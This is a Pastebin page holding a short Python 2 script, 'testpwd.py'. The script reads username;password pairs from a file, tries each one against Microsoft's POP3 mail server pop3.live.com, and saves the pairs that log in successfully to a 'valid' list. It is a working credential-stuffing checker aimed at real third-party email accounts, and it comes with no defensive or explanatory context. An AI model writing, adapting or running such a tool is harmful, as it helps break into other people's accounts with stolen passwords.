Guest User

Untitled

a guest
Nov 11th, 2011
10,055
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #testpwd.py
  2.  
  3. import poplib
  4.  
  5. pwlist = open('passwd.txt').readlines()
  6.  
  7. for pair in pwlist:
  8.   valid = open('valid.txt', 'a')
  9.   un, pw = pair.strip().split(';')
  10.   try:
  11.     M = poplib.POP3_SSL('pop3.live.com', 995)
  12.     print M.user(un)
  13.   except:
  14.     print 'Connection error'
  15.  
  16.   try:
  17.     pwmsg = M.pass_(pw)
  18.     print pwmsg
  19.     if pwmsg[0:3] == '+OK':
  20.         valid.write(';'.join([un, pw+'\n']))
  21.         print 'Valid account:', un, 'found.'
  22.     M.quit()
  23.   except:
  24.     print 'Invalid account:', un
  25.  
  26.   valid.close()
  27.  
  28. print 'Finished'
  29.  
RAW Paste Data

Adblocker detected! Please consider disabling it...

We've detected AdBlock Plus or some other adblocking software preventing Pastebin.com from fully loading.

We don't have any obnoxious sound, or popup ads, we actively block these annoying types of ads!

Please add Pastebin.com to your ad blocker whitelist or disable your adblocking software.

×